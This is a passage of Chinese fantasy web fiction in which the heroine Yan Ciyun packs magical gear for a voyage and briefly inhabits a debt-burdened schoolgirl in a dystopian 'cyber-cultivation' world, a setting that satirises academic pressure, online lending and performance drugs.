颜辞云所制作的储物箱，虽然打开看是一个个的储物格，看起来像是某种时间静止的异空间，但其实依然会受到外界的时间、温度等各种因素的影响。 储物箱，旧仅仅只是储物箱而已。 所以，当颜辞云收获了各种蔬菜水果、鲜肉肉干后，她发现这些东西在高温的夏天根本放不了几天。 于是，颜辞云干脆做上许许多多储物箱，把那些种子、蔬果、肉蛋之类，都放进储物箱，再丢进地窖，用冰块包围，低温储存。 而一些实在存不住的，就抓紧时间吃掉，或者丢进水火炼葫里做成各种高能量但超奇怪的套餐，用玻璃饭盒装好，放进永鲜袋里保存。 如今，颜辞云的地窖里几乎堆满了箱子，而颜辞云的永鲜袋里，也装满了各种乱七八糟的食物。 总之，在吃饭这一件事上，颜辞云哪怕只是带上自己的永鲜袋出门，也绝对不会饿死的。 储物箱第二多的地方，是颜辞云的客厅。 颜辞云的客厅里有许多置物柜和多宝阁。 这些柜子的架上，展示着颜辞云觉得漂亮的各种翡翠玉石、化石矿物、珊瑚饰品，柜子里则是一个叠一个的储物箱。 而打开这些储物箱，就是颜辞云这一年来搜集的各种物资了。 像是原木块原石块、木棍木板、石板石砖之类，它们的数量在颜辞云不断扩建树屋的工程下，已经消耗了许多许多，而一些树枝杂草、毛皮木炭之类，更是基本没再增加过。 反倒是矿石，颜辞云会定期去陨铁坑抢劫小鼹鼠们，所以一直在稳定增加。 但这些种类各异的矿石，在远行这件事上倒是派不上什么用场。 而除了矿石之外，颜辞云身上的装备也是在稳定增多。 其中既有水火炼葫日常的“抽卡”，也有制作台上各种怪物战利品和矿石物资的组合。 只不过，颜辞云获得的装备虽多，有用的却不多。 好一点儿的，有水火炼葫出品的【瑶光扇】和【定风珠】，前者起风，后者定风，没事儿干了对着海面来一扇子看海啸，也算有意思。 而没什么用处的，则是制作台出品的【瑶台听风琴】、【孤光映月剑】、【震山千人斩】、【无踪飞花针】。 这几样东西，分别是琴、剑、刀、飞针。 别看这些东西名字霸气，外观酷炫，但其实就是普通武器，没什么特殊效果，和邪龙噬雷枪、八方神火鞭完全不能相比。 其实想想也对，邪龙噬雷枪和八方神火鞭这两样有特殊效果的武器，都是颜辞云用特殊材料制作出来的。 而孤光映月剑这些，则都是普通的铁石制成，有这样的差距不足为奇。 除了这些东西之外，颜辞云这段时间以来，得到的真正有用的装备只有一样，它名为【三炁紫金葫】。 它的来历有点儿复杂。 前两天，在秋季结束之前，颜辞云心不在焉，不小心在树下撒错两包万能肥料，意外令风火两济葫芦藤结出了第一个葫芦。 颜辞云惊喜万分，摘下这小葫芦，定睛一看： 【风火宝葫：汇聚了风火两炁的葫芦，拔下塞子后，可令火与风齐发。】 颜辞云找了块空地试了试葫芦威力，发现这又是风又是火的，的确威力极强。 可问题是，颜辞云自己就能放火啊，还要这玩意儿做什么？ 她喷一口火，再用那瑶光扇一扇，不就是风火宝葫的效果吗？ 更何况，颜辞云还有一颗火灵珠在压箱底呢！ 颜辞云十分郁卒，万万没想到自己期待已久的小葫芦竟然跟自己撞了属性。 于是她想了一会儿，干脆把手上的风火宝葫、火灵珠（微小型），以及最后的两颗微小型水灵珠，都塞进水火炼葫里，看能不能给自己抽个新装备出来。 而这次炼制的结果，除了水火炼葫又升了一级之外，便是这【三炁紫金葫】了。 【三炁紫金葫：可收纳指定之物，或是将其置于葫芦里，或是将其炼为丹药。】 收纳指定之物，并炼成丹药？ 颜辞云拿起葫芦，打开一瞧，果然看到了一个炼制格子，下方还有一个火焰的符号。 颜辞云试着将手边的一张桌子放进去，塞上塞子。 葫芦没有反应。 打开盖子后，桌子也能顺利取出，毫发无损。 这就是“收纳指定之物”的意思？ 接着，颜辞云用葫芦将桌子再次收进去，点下炼制符号，之后，这葫芦才轻轻一晃。 噗通。 葫芦里落入了什么东西。 颜辞云打开葫芦塞子，倒出了一粒小得快看不见的丹药。 【回炁丹（残缺）：恢复0.1单位炁。】 颜辞云一惊：回炁丹？ 这可是她穿越以来，看到的第一个能直接回炁的东西呢！ 至于0.1单位……咳，这也正常，毕竟就是个普通的木桌子而已。 在知道这个三炁紫金葫竟然能直接炼制回炁的丹药后，颜辞云又惊又喜，开始了自己疯狂的尝试。 她实验的第一样东西，是她认为最有价值的羊脂玉净瓶里的甘露。 经过了数月的沉淀和积累，羊脂玉净瓶已经攒下了三滴甘露，而除了第一滴甘露被颜辞云喝掉了之外，其它的甘露颜辞云都留下来备用——瞧，这不就用上了？ 颜辞云将一滴甘露倒入三炁紫金葫里，点下炼制。 噗通。 又是一瞬间，一粒丹药落下。 颜辞云倒出来一瞧，这回倒是得到了个不错的东西。 【回炁丹（上品）：恢复20单位炁。】 好家伙，瞬间恢复小怪兽三分之一的炁！ 颜辞云兴致冲冲，又试着装了一下活物，比如说草原上的无辜兔子。 事实证明，可行。 并且那兔子装进去什么样，倒出来还是什么样。 这只葫芦里的时间似乎是静止的，兔子一点儿都没发现自己竟然进葫芦里走了一遭！ 颜辞云越发开心，还特意跑去石原，用葫芦收了相繇，再大力从葫芦倒出来，把相繇丢得晕头撞向。 颜辞云这么做也不是为了别的，就单纯想要戏弄一下这小蛇。 嘻嘻。 做了一场恶作剧后，跑回树屋的颜辞云，也差不多弄明白了这个葫芦的功能。 它可以既可以当一个额外的格子，收纳活物或死物，也可以当一个炼丹葫芦，用来炼制回炁丹。 那么，清点过后，颜辞云要带的物资就很简单了。 关于手上的工具，颜辞云只需要带上初始工具锤子和镰刀就好，其它的钻石斧钻石稿之类的不必带上，只需要带上钻石、黄金、铁这三样东西，再在抵达新大陆后随机应变即可； 而至于装备，皮革套装是在装备栏里的，不占物品格； 神凤辟邪簪在发间，血露香坠在脖子上，瑶光扇用蜘蛛女王吐出的蛛丝鞣制成的丝线系着，挂在腰间。 而其它的如水灵珠、定风珠、美人罗光帕、赶山鞭、八方神火鞭、邪龙噬雷枪、羊脂玉净瓶，以及凑数的瑶台听风琴、孤光映月剑、无踪飞花针共计十样装备，则收在美人绶囊，被颜辞云妥善放在物品栏里。 再加上装满水火炼葫出品的特制食物的永鲜袋，用来做饭的锅子霸王鼎，两个小葫芦三炁紫金葫和水火炼葫。 这里便用去了十个格子。 最后，颜辞云又转悠着来到浴室，对着【装满炁的木桶】X2沉吟片刻。 这两个【装满炁的木桶】，还是颜辞云在异世界度过第一个冬季时，从灰雪里收集得到的。 它们可以倒冷水，也可以倒热水，并且里头的水似乎源源不绝，永远都倒不完。 颜辞云虽然不太敢喝这个木桶里倒出的水的，但觉得用它们来泡澡倒是不错，省去烧水的功夫了。 于是，在建浴室时，她就干脆就把它们拿出来，当作热水器来使用。 如今，有了三炁紫金葫后，她是把它们炼化成回炁丹带走呢，还是继续保留？ 颜辞云想了想：算了，也不差这点儿炁，留它们一条小命吧。 而且，她还可以带上它们去旅行，等到了新大陆后，万一她一时半会儿找不到水源，还能拿它应应急。 【装满炁的木桶】+1 于是，至此，三十格物品栏占去了十一格，颜辞云也算是轻装上阵。 搞定要带上的物资后，颜辞云最后再收了一波农作物，放进地窖，接着抱上自己的小老虎，来到海边，就准备横渡大海、穿过云雾，去往新大陆了。 但离开前，颜辞云心念一动，回头看了看自己种下的巨木，自己建造的树屋，和自己开垦出来的这片黑土农田，若有所思。 三炁紫金葫在系统里的描述，是不是“可收纳指定之物”？ 那么，什么才叫做“指定之物”？ 指定一样物品、一个生物，叫“指定之物”，那一棵树呢，算不算“指定之物”？ 一片土地，算不算“指定之物”？ 一块区域、以及这块区域上的所有事物，算不算“指定之物”？ ——怎么不算呢？ 第56章 岳灵倩 碰瓷与修仙 颜辞云拿出了三炁紫金葫，有些激动，又有些踌躇。 之前戏弄相繇的时候，颜辞云就知道，三炁紫金葫收入某种东西时，是会抽取使用者的炁的。 收入兔子时还好，消耗的炁微乎其微，可以忽略；但在用葫芦收入相繇时，却一口气抽了颜辞云27点炁！ 如今，颜辞云想要带走的，是这一整片巨木山丘——那颗如今已经长到两千米的巨木，还有那个初显九重天模样的树屋、那片广阔的黑土地，还有黑土地下方巨木交缠的根系。 这一切的一切，颜辞云全都想带走！ 可……应该很难吧？ 她区区60点炁，真的够用吗？ “算了。” 颜辞云无奈地将三炁紫金葫又塞回了物品栏。 “还是等实力更进一步后，再做尝试吧。” 争取有一天，她可以在出门旅行时带上自己的所有家当，一边在家安心种田，一边欣赏不同的风景。 而至于现在嘛…… 颜辞云身化巨龙，任由小白爬上她头顶坐下。 “走吧！” 黑天白雪中，一条青色的龙腾云驾雾，一头冲入了东边海域的层层云雾中。 万里之遥瞬息即至。 一片没有东南西北、也难分上下左右的苍茫雾气中，颜辞云恍惚间像是看到了九个遥远的光点。 它们在虚空形成了一个无形的矩阵，一闪一闪，时而如星光灵动，时而又沉默死寂。 ——这些都是什么？ 它们为什么会在雾里？ 颜辞云好奇凝神细看，却见这些“星星”中，此刻只有两颗是闪烁着的。 其中的一颗星星，颜辞云看不太清，却从中感到了令她有些不舒服的死寂感，非常像是颜辞云面对遭受了严重虫害的植物的感受，离死亡只有一步之遥。 而另一颗星星，颜辞云则感到了勃勃生机。 虽然这样的生机近乎疯狂，硬要比拟的话，大概是临死前的回光返照。 可关键在于—— 这颗“星星”上，颜辞云竟看到了熟悉的高楼大厦和钢铁丛林！ 颜辞云惊呆了：这、这是什么地方？ 那颗星星上……是现代社会吗？ 会是文明世界的所在吗？！ 会是——她穿越前所在的世界吗？！！ 这样想着，颜辞云再也按捺不住激动，迅速冲向了那颗星星。 …… 嘀嘀嘀—— 疯狂的喇叭声。 吱呀—— 刺耳的刹车声。 “要死啊你个小丫头片子，大白天的你就想碰瓷？还是说你红绿色盲连红灯都不认识？亏你长得白白嫩嫩斯斯文文还穿着松山书院的衣服，结果你就光顾着干这事是吧？要不要脸啊？！还不给我起来？！” 喋喋不休如同机关枪一样的骂声。 迷迷糊糊中，颜辞云感到身体有些不适。 这样的不适，不仅在于炎热的夏天令周遭的空气如同蒸笼，而地面的滚烫热意正透过一层薄薄的衣服源源不断传来，炙烤着她并不坚韧的皮肤； 还在于她虚弱得提不起一分力气的身体，以及她饿到发痛的胃部。 ——我、怎么了？ 如梦如醒间，她睁开眼，看到了无尽苍穹之上、数万光年之外，有一双巨大的眼睛俯首看她，长长的龙须轻轻飘动着，似是静止，又似是永恒。 ——那是，我，是“颜辞云”。 她这样想着。 ——但如果那是“我”，那“我”……又是谁？ 似梦似醒间，她像是置身忙碌的电影院内。 幕布上是被编剧精心摘取出来的一段戏剧人生，幕布下，则是生命的烟火气息。偏偏唯有她独自一人站在一旁，即不是台上光鲜亮丽的演员，也不是台下碌碌一生的凡人。 ——“我”是谁？ 蓦地，在这样的疏离感中，一只手伸了过来，一把将她扶起，紧接着是不停道歉的声音。 “不好意思不好意思，我朋友她今天要参加崇山高中的入学考试，昨天肯定一晚上都在修炼，太紧张了，所以没有站稳，不是故意要碰瓷你的，司机大哥你想想，我们崇山高中的学生以后可是要入仙门当仙人的，怎么会玩碰瓷这种把戏呢？” “崇山高中啊……”那个骂街的男司机听到这个关键词，一下子缓和了语气，“原来是要参加崇山高中的高材生啊……那行吧，这次就算了，下次记得看路！” “谢谢，谢谢，谢谢司机大哥，我回头一定好好说说她！” 一阵熟悉的引擎咆哮声后，颜辞云感到周遭的声音似乎变得真实了几分，而“自己”则被人扶着来到路边长椅坐下。 “倩倩？倩倩！岳灵倩！你还好吧？没事吧？” 那人举着手，在颜辞云面前挥来挥去。 颜辞云想要说自己没事，但事实上，此刻的颜辞云身体沉重虚弱得可怕，连一丝力气都提不起来。 那人十分焦急，一边说话还一边不停地看自己的手表，压低了声音道：“岳灵倩，你怎么回事，我们好不容易挤进崇山高中的面试，眼看就要成为仙人预备役了，你怎么还在玩碰瓷？ “你以为我们现在还是以前那种上秤都卖不了几两肉的凡人吗？更何况，你忘了？你前两天才做了斩赤龙的手术，今天真碰上了那车，你不得大出血？治疗费都赚不回来的！” 颜辞云：“……” 啊？！ 顿了顿，那人似乎想到了什么，无声抽气，声音越发低了：“等等，难道是那些追债的找上门了？”她用力跺脚，“我都跟你说多少次了，不要借网贷，不要老把钱投进什么‘怎么成为一个成功的仙人’、‘修炼必备的思维方式’、‘穷人富仙’这类乱七八糟的网络班，更何况你还是借网贷去报的班！ “有这个闲工夫，你怎么不学学我，花钱租借别人的高级剑骨修炼？虽然贵是贵了点，排斥反应也大了点，进度也很慢……但我好歹也是在修炼啊！而且这年头剑修少，赛道竞争没那么激烈，只要能考进崇山高中，我以后肯定是能进仙门的！ “再瞧瞧你——你借的那点儿网贷的钱，丢进骗子班里，溅起了几个水花？现在网贷平台的催债人找上门了，而你等会儿如果还不能通过崇山高中的入学考的话，我看你怎么办！” 那人又气又急，自说自话，在颜辞云面前转来转去，直把颜辞云听得脑袋一片空白。 等等，等会儿……这人在说什么？ 明明听起来像是初升高……可里头的几个关键词怎么不太对劲呢？ 那人转了两圈，最后抬手看了一眼手表：“哎呀，面试时间真的要来不及了，我先走了啊岳灵倩，你在这坐着缓缓，然后赶紧跟上，否则没有崇山高中生的身份的话，你延长不了你的网贷时间，那些欠债你还不上，就只能把自己的灵根卖给网贷平台抵债，也就是说以后你再也当不了仙人了，明白了吗？ “努力，上进，只要死不了，就往死里学——等我们进了仙门，当上仙人，一切就会变好的。加油！！” 那人握着拳头，最后给“岳灵倩”，又或者是给她自己加油打气后，离开了长椅边上的颜辞云，匆匆离开，奔向了她满怀希冀的未来。 而颜辞云则在长椅上做了好一会儿后，终于提起了两分力气。 她再次抬头，从钢铁丛林的夹缝中望向那个狭窄的天空。 虽然这一次，颜辞云并没有看到那双巨大的眼睛，但颜辞云却知道，只要她想，她随时可以离开“岳灵倩”的身体，变回那条巨龙。 为什么会出现这样的情况？ 不知道。 自己是立即离开，还是留下来再看看？ “系统。” 颜辞云默默呼唤，只有她能看到的人物界面随之弹出。 眼见系统还能正常使用，颜辞云的心也总算安定了两分。 颜辞云抬起眼，仔细观察人物界面，发现此刻自己的人物界面竟是一分为二的。 其中，属于“颜辞云”的人物界面，自然还是老样子，甚至【变身：龙形】的状态都没有取消。 但在“颜辞云”的界面旁，却不知道什么时候多出了一个“岳灵倩”的人物界面，上头的属性技能等等，全都一塌糊涂。 【人物：岳灵倩】 【体质：3】 【灵敏：3】 【根骨：1】 【悟性：5】 【福缘：2】 颜辞云：“……” 犹记得穿越之初，颜辞云各基础属性都是5。 当时颜辞云就觉得自己这个属性足够低了，结果现在一看，竟还有更低的。 颜辞云怎么都没想到，这岳灵倩的基础属性除了悟性之外，竟然都在2和3徘徊，而根骨这一栏甚至只有1？ 这、这……这真的适合去修仙吗？ 颜辞云又点开六维图。 好家伙！ 竟然全是G！ 颜辞云之前以为最低的等级是E，没想到竟然还有G！ 颜辞云接着又看向技能栏： 【勇壮（lv3）：长年累月的碰瓷行为，虽然令你的体质稍有损害，可却大大提升了你的胆气，并让你学会了如何在关键时刻保护自己的关键部位。】 【敏思（lv5）：长期与多个催债人和多个网贷平台打太极后，你变得才思敏捷，越发懂得如何与他人打交道。】 【凡胎：虽有灵根，却无仙骨，天生便是浊尘凡胎】 颜辞云：“……” 颜辞云笑了一下。 因为人在无语到极点的时候，是真的会笑。 之后，颜辞云又试探着从物品栏里拿出美人绶囊，系在腰间，发现物品栏也好美人绶囊也好，里头的装备与物资都能正常取用，于是她终于放下了心，开始环视四周，观察这个世界。 就和颜辞云在“雾”中看到的“星星”一样，这是一个有着钢铁丛林、高楼大厦的世界。 可不同于颜辞云记忆中的“现代社会”，这个世界的高楼广告屏上播放的，不是涂脂抹粉的白斩鸡男明星，而是对仙界仙门仙人美好世界的宣传，和各大仙门的招生广告。 从颜辞云脚下飘过的小广告上，不是偷偷摸摸的男科广告、富婆借子，而是各高校在招生季时疯狂派发的宣传，和对往届毕业生的吹嘘，翻页则能见到各个刺眼的收费项目。 而在路边，更是随处可见书店里的仙法修炼教材，角落里的仙法修炼进步班，广告牌上的仙法修炼辅助老师，大屏幕上的仙法修炼促进液…… 仙法仙法仙法仙法。 修炼修炼修炼修炼。 学习学习学习学习。 进步进步进步进步。 …… 颜辞云摊在椅子上，无力看天。 好消息：是现代社会。 坏消息：是赛博修仙。 第57章 赛博修仙 离开还是留下？…… 颜辞云不知道自己为什么、怎么变成了岳灵倩的，也不知道真正的岳灵倩去了哪儿。 她没有太多时间思考这件事，因为就在她坐在长椅上休息和观察的这短短十分钟里，她挎包里的手机就响了二十六次，怀里的传单名片多了一十二张。 颜辞云缓了口气，用自己依然有些颤抖虚弱的手拿出手机，点进屏幕。 三个未接来电，备注都是XX网贷平台。 值得一提的是，这三个未接来电的网贷平台竟然都不一样！ 二十三条未读短信，十四条不同平台的网贷与信用卡还款提醒，三条不同平台的网贷逾期警告，三条不同时间段的打工安排变更通知，两条拒绝打工请假的辞退警告，和一条手术尾款待结清通知。 颜辞云光是看着这些就觉得有些喘不上气了。 按照刚刚那个“友人”的说法，这个岳灵倩应该还在读初中、正处于初升高的阶段吧？ 这样年纪的孩子，怎么会有这么多网贷、打这么多工？ 哦，对了，还有那个——斩赤龙手术？？ 这是什么？ 总感觉这个说法……挺熟悉的？ 颜辞云模模糊糊想了一下，还真从这位岳灵倩时灵时不灵的记忆里找到了答案： 斩赤龙，即断经血的说法。 而所谓的斩赤龙手术，就是子宫拆除手术，是为了让学生断绝激素的干扰、生理的弱点，能将全部心神都放在修炼上，为了成为仙人而努力的一种常规型手术。 男学生当然也有对应的手术，叫做擒白龙手术。便宜点的手术是全部噶掉，而贵点的手术就只噶蛋。 颜辞云：“……” 啊？？ 不愧是赛博修仙，果然够狠！ 接下来，颜辞云又点开手机上的“网贷”文件夹，想要看看原主到底折腾了多少个平台。 结果颜辞云一点开就关上了，并且还感到自己手脚发软，后背发虚，心脏砰砰直跳，比从万米高空往下跳还要刺激。 其实颜辞云也明白，人借网贷借到最后，欠债的平台数量会越来越多，因为欠债人需要拆东墙补西墙。只不过很少有欠债人能想明白的是，这样的拆拆补补是永远没有尽头、并且永远比不上债务滚雪团的速度的。 颜辞云想到这里，实在是迷惑极了：这个叫岳灵倩的姑娘，平时到底买了什么才需要折腾这么多的网贷平台？ 颜辞云点开原主的所有软件，查找起了资金流向。 首先，原主开销最大的，其实并不是原主友人抱怨的“骗子班”，而是网购平台上的“聪明药”，和钉信上跟初中班主任购买的“灵力液”。 刚好这两样都在原主的挎包里，颜辞云便打开查看了一下。 那所谓的“聪明药”，虽然装在一个普普通通的瓶子里，但在网购平台上好评众多，钉信学生群里也都在推荐，甚至就连卖“灵力液”的班主任，也对原主说“有条件的话可以配合聪明药修炼，效率更高”这样的话。 更离谱的是，这个药似乎真的有用。 在岳灵倩留下的模糊记忆力，每次岳灵倩吃过聪明药后，她都会有一段时间觉得耳聪目明，灵感迸发，原本看不懂的天书能看懂了，原本跟不上的课程能跟上了，就连原本效率极低的炼炁功法，也是一日千里！ 虽然这样的神奇效果只能持续短短一段时间，并且这段聪明的时间一过，岳灵倩就会感到极大不适——恶心、呕吐、厌食多汗、头痛头晕，心动过速等，严重的时候要么三天没办法睡觉，吃饭超过三口就会暴吐，甚至走着走着突然晕倒！ 岳灵倩曾就这个问题问过钉信群和网购平台，字里行间流露出了退缩之意，但所有人都不以为意，表示这就是变聪明的代价，是想要成为人上人必须要吃的苦。 想要修炼吗？想要成为仙人吗？想要站得更高走得更远吗？ 那你不比普通人更努力、更吃苦、更受难，怎么有这个资格迎接成功呢？ 于是岳灵倩便咬牙坚持了下来，哪怕是一天打五份工，在十六个网贷平台反复借贷、拆拆补补，也一定要买这个聪明药。 颜辞云打开聪明药的瓶子一嗅，光是嗅到那淡淡的气味，她就喉头一动，感到了从岳灵倩身体里传来的对聪明药的渴望，以及源自颜辞云本体的厌恶。 颜辞云：“……” 她感到，自己好像有点明白这个“聪明药”是什么东西了。 颜辞云简直无法理解：何必呢？何苦呢？ 如果只是岳灵倩一个小姑娘因年幼无知而被人蒙蔽，那颜辞云的怒气或许还有具体去向。 可事实上，这是“大部分学生都会吃的药”，并且是在家长和班主任面前过了明路、倍受推崇的药！ 如果不是岳灵倩手速快、人机敏，她甚至都买不到这个聪明药！ 于是，这便让颜辞云没能生出愤怒，而只升起了无奈与不解： 成为仙人、获得成功，这件事就真的有这么重要吗？ 重要到每一个人都如此痴狂，不惜嗑/药修仙，并且嗑的还不止一个药？ 颜辞云又拿出了岳灵倩初中班主任鼎力推荐、收费昂贵的“灵力液”。 在这位班主任的口中，灵力液是岳灵倩这个年龄阶段的顶级修炼辅助药物，涂抹在身体上可以提高与空气中的灵力亲和力，可在同一时间段里吸收到更多淬炼身体的灵力，节省租借灵力修炼室的钱。 与此同时，它还能令体内的功法运转加速，别人运转一周天的时间，你能运转1.5个周天。 这样叠加下来，“灵力液”无疑是人下人欲要翻身成为人上人的必备良药！ 颜辞云拔开瓶塞，轻轻嗅了嗅，的确嗅到了炁的味道。 但…… 想想自己用三炁紫金葫炼制的回炁丹，颜辞云琢磨了一下：这一瓶灵力液，最多也就值个0.1单位的炁吧。 跟她一张木桌的含炁量差不多。 ——这不是坑人嘛！ 颜辞云抬手就要把聪明药和灵力液丢进垃圾桶，但转念一想又怕别人捡走倒卖，害了别人，于是干脆又放回了挎包里，打算回去原主家后，丢进厕所销毁。 说到原主的“家”，颜辞云又不由得思考起了原主家人和原主的家庭情况，想知道他们对原主这样疯狂地借网贷修炼是什么看法。 结果一搜索记忆，颜辞云才发现岳灵倩竟然没有家人。 不……严格来说，岳灵倩不能算“没有家人”，而是岳灵倩微弱的灵根、低下的资质，让她不配有“家人”。 这还得从这个世界的规则说起。 这个世界名为【九重天】，与颜辞云在系统设计图纸里看到的“九重天”建筑类似，是一个从下往上，层层拔高、层层缩小的金字塔形状的世界。 这个世界里存在仙人，因此这也是个修为决定一切的世界。 仙人们数量很少，居住在高高在上的仙界，也就是第九重天上，而凡人居住在底层的人间，也就是第一重天。 至于中间的七重天，则居住着不同修为阶段的修士们，等级分明且森严。 那些修为高的仙人、人上人们，享受着这个世界99%的资源与普通人想都无法想象的优待，而修为低微的甚至无法修炼的，就是凡人，是人下人，负责承担起这个社会的底层运转，顺便拼命生孩子。 如果孩子的资质不错，凡人就会就让他们努力修炼，努力挤入人上人的圈子，一人得道，鸡犬升天；而如果孩子的资质低下，就普普通通地在一重天里生活、普普通通地继续生孩子。 直到这里，这些规则虽然严酷，但还算普通。 不普通的很快来了—— 哪怕挤进“人上人”的圈子里，哪怕已经在八重天站稳了脚跟、离九重天只有一步之遥的准仙人们，他们也并非真正自由，因为自七重天以上的修士们，就会因为修为的提升而拥有用炁诞育生命的能力，所以他们是有生育指标的。 顺带一提，炼炁不分男女，所以男女都得生。 为了不耽误修士们自己的晋级，也为了九重天世界更好的发展，七重天的修士最迟每一百年就要用炁孕育出一个孩子，至少孕育五个孩子后，才能有永久绝育、定居七重天的资格； 八重天的修士，则每隔两百年孕育一个，至少孕育三个孩子后才能不再强制生育，并向八重天申请永久定居。 这样强制生育的政策，是因为九重天的仙人们认为，修为越高的修士，越容易孕育出资质优秀、适合修行的孩子，而这样的孩子日后也能走得更远。 一般来说，事实的确如此。 被修士用炁精心孕育出来的孩子们的资质，的确比一重天凡人们以肉体凡胎生出来的孩子资质，要好上许多。 但，也不能一概而论。 例外还是不少的。 岳灵倩就是那个例外。 岳灵倩没有母亲，是父亲生的，而她的父亲是七重天的一个大能，名火云神君。 火云神君属火，他以火炁孕育出的五个孩子里，前四个也都与他一样，拥有天级火灵根，仙骨仙胎，修为一日千里。 可最后孕育的那个孩子——也就是岳灵倩，却不知道出了什么意外，竟然是个水灵根，并且这个“灵根”品质还非常低微，和凡人几乎没有太大区别。 当发现这一点的时候，火云神君或许很失望，又或许没什么感觉。 毕竟所谓的“孩子”，说到底和炼丹炉里蹦出来的丹药没什么区别，丹药品质不好，暗骂一句贼老天再骂一句倒霉就行了——反正孩子也不用他们自己养。 是的，七重天以上的修士们所孕育的孩子，除非修行资质实在出众，否则是不需要修士亲自抚养的，而会由一重天的政府统一收养，再在每年提供一定的生活资金。 岳灵倩就是这样，被火云神君从七重天上转手交给一重天的凡人政府，在人间以孤儿的身份定居了下来。 事实上，如果不是岳灵倩生而记事，她甚至就连火云神君的存在都没资格知晓，而只会知道凡人政府告诉她的信息： 岳灵倩，十五岁，孤儿，静水市XX区XX街XX福利院出身。 目前居住地松山学院初中部女生宿舍216室（需在新学期开始前半个月搬离）。 颜辞云想，原主岳灵倩心中那样强烈的想要成为人上人的渴望，是否也与那位火云神君、与连自己的居所都没有的窘迫有关？ “唉……” 颜辞云微微摇头，放下了这些有关原主岳灵倩的思考，思索起了自己的事。 事实上，在搞清楚原主岳灵倩无依无靠，一天要打五份工还网贷的利息，同时还嗑/药修炼后，颜辞云就猜岳灵倩这个年轻姑娘很可能是把她自己的身体给拖垮了，在红绿灯前倒下的那一刻就已经死去了，这才有颜辞云进入世界后直接接管了她的身体的事。 岳灵倩的一切固然是沉重的，这个赛博修仙的世界也当然是压抑疯狂的，可颜辞云只不过是个来此旅游的小怪兽呀！ 虽然“新大陆”竟然是异世界这个事，让颜辞云怎么都想不通，但事实就是，颜辞云随时随地都能脱离这个世界、脱离岳灵倩的身体，回到她真正的身体内。 所以，此刻的颜辞云，究竟应该立即离开这个让她感到不太愉快的赛博修仙的世界呢？ 还是继承岳灵倩的遗愿，去往那个“人上人”的世界看一看？ 第58章 死神 谁告诉你拿着镰刀的就…… 颜辞云准备好好思考这件事。 颜辞云有很多留下的理由，也有一个离开的理由。 其中，颜辞云留下的理由很丰富，那就是这个世界里的一切新事物，比如说功法、图箓、法器、丹药以及电器、食物、新生命，等等。 从岳灵倩的记忆中得知，这个一重天的世界，还是以科技为主，比较现代化，哪怕是有灵根的人，能获取超凡力量的途径也比较有限，小学部传授《炼体十六式》，初中部传授《炼炁三法》。 但如果说《炼体十六式》还是人人可学、是凡人都能用它来强健体魄的功法，那么到了初中的《炼炁三法》，凡人与修行之人的距离，就会被彻底拉开。 在这里，凡人将彻底明白凡人为何为凡人，明白这个世界就是围绕着修行之人转的，明白凡人就是永远都无法比上有灵根的人。 于是经过三年彻底的不甘与挫败后，到了高中，没有灵根的普通人会接受命运和现实，进入普通人的学校和世界，而有灵根的修行之辈，则会考入更好的学校，接受更多的栽培。 术宗、剑宗、刀宗、力宗、丹宗、器宗。 九重天、秘境功法、大道至理、法器法宝。 这些永远不会凡人敞开的大门，将一扇接一扇地向修行之人敞开。 而这每一扇门背后的风景，都对颜辞云有着莫大吸引力。 颜辞云十分想要去看一看，去吸收这个世界的优点、借鉴世界种族的设定，并以此去填充那个荒芜且只属于她的异世界。 再加上，那些对岳灵倩来说无法逾越的难题——债务也好，炼炁也好，这些对颜辞云来说其实不算什么，只要颜辞云从自己的口袋里掏点东西，就能轻易解决这些问题。 所以如果颜辞云想的话，她是很容易让自己在这个世界过得很好的。 可颜辞云也有离开的理由。 这个理由有且只有一个，那就是不想加入一个自己不喜欢的规则体系里。 世界万物的变化，叫规律，而那些站在风口之上的、因一时幸运而掌握了一定规律的人所制定的东西，叫规则。 颜辞云想要探索这个世界的规律，但并不喜欢这个世界的残酷规则。 有些人不喜欢规则的应对方式，是加入规则，假意向规则低头，以期走到更高的地方，去取代规则、改变规则。 虽然事实上，绝大部分这样的人都会忘掉自己的初心，最后被规则和利益同化，成为维护规则的人之一。 而有些人不喜欢规则的应对方式，是掀桌子，是永不妥协，哪怕付出生命的代价，也绝不苟同。 虽然到了最后，这些人之中成功者寥寥，并且大部分都不被世人所理解，甚至落下一个“不知好歹”、“命贱的人就是享不了福”的评价。 颜辞云既没有能忍一时之辱、向规则低头的能屈能伸，也没有将生死置之度外的高洁信仰和理想。 她的情绪太过平和，甚至没有掀桌子的脾气和欲望。 颜辞云不会去拼命向他人证明自己的价值，只为了让旁人仰视她、为错过她的青睐而后悔莫及；她也不去付出一切重建一个新的规则，哪怕付出性命也要坚守原则、建立一个让所有人都能活得更好的世界。 颜辞云能做到的只有一件事：不加入这个吃人的规则里。 不加入他人的规则游戏。 颜辞云能做的、想做的，仅此一点而已。 那么，在捋清思路后，颜辞云的选择已经显而易见—— 离开这个世界。 虽然这样的选择让颜辞云有些遗憾，虽然这个世界是颜辞云在荒野求生一年后第一次接触到的人类气息。 可是，当颜辞云不打算费尽心力拯救这个世界、重新洗牌世界的规则时，不选择加入压迫的那一环、成为落向凡人头顶的屠刀，就是颜辞云所能付出的最大的慈悲。 那么，离开吧。 颜辞云做了最后的决定。 而几乎在这个念头升起的瞬间，颜辞云就感到自己的衣服有些松了。 不，不对——那根本不是衣服，而是名为“岳灵倩”的躯壳！ 要离开了吗？ 这样想着，颜辞云伸手一捞，快速地把之前系在腰间的美人绶囊抓住，再次塞回系统物品栏里。 而下一秒，颜辞云便无声而轻柔地飘出了那具沉重虚弱的躯壳，轻飘飘地飞向了空中。 咚—— 随着颜辞云的离开，早已失去生命特征的沉重□□，终于倒在街边的长椅上。 她手中的手机滑落，砸在地面，发出一声闷响，紧接着，她挎包里的聪明药和灵力液也咕噜噜滚出滚远，滚上街道。 行色匆匆的路人之中，有些没有注意到这样的小事，继续麻木地、怀着对未来虚无的向往继续前进，有些则偷偷拾起了地上的药瓶踹进怀里，有些更是直接拿走了那只屏幕都碎裂了的手机。 唯有那个倒在长椅上失去气息的年轻女孩，明明身处闹市，却没有人向她投去一眼。 颜辞云垂眼看着脚下的一幕，不知道为什么，感到了由衷悲哀。 并非是对一个人、一件事，而是对这个世界。 “真是可怜啊……” 真是可悲啊。 “让我来带你走吧。” 离开这个世界，哪怕只是身体。 颜辞云拿出了镰刀。 非常不可思议的是，明明此刻的颜辞云是一团虚无，连是否存在灵魂、存在形态都很难说，可她偏偏真的感受到了自己的“身体”，并且也拿出了镰刀。 